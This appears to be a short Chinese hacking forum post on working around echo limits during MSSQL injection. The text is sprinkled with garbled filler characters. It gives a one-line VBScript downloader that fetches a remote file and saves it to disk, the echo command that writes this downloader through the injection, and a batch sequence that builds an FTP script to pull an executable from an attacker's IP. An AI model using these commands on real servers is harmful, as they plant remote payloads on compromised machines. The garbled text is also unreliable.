mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
1.iget.vbs一次写入
1 R  C% @. Q4 l4 H# E5 l在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
% P  _. V! i* P1 B( {: L, ^
# c- w/ c7 Q( l) l4 q- N5 USet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

# [5 F6 _. E4 V8 G' y$ x! S3 K这样我们可以一次echo成功,echo版本:
& N4 G% A$ x% j  Y7 w
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs
2 B2 W4 s' j: O0 @3 E

! O* }) r0 I1 j+ P2.bat调用ftp脚本的写法(by envymask)

# l: q* O6 X' H# _$ _5 ~echo ftp&gt;1.vbs
echo open ip&gt;2.vbs
  ?( Y6 }/ [5 K" C! s: b7 }: Aecho u&gt;3.vbs
echo s&gt;4.vbs
echo binary&gt;5.vbs
echo get 1.exe&gt;6.vbs
: W7 R, m( s  C1 m. zecho bay&gt;7.vbs

' E. I" Y9 y) w) k5 E; kcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
1 H  \: a3 c9 [: ?4 |7 Y; i+ S</P>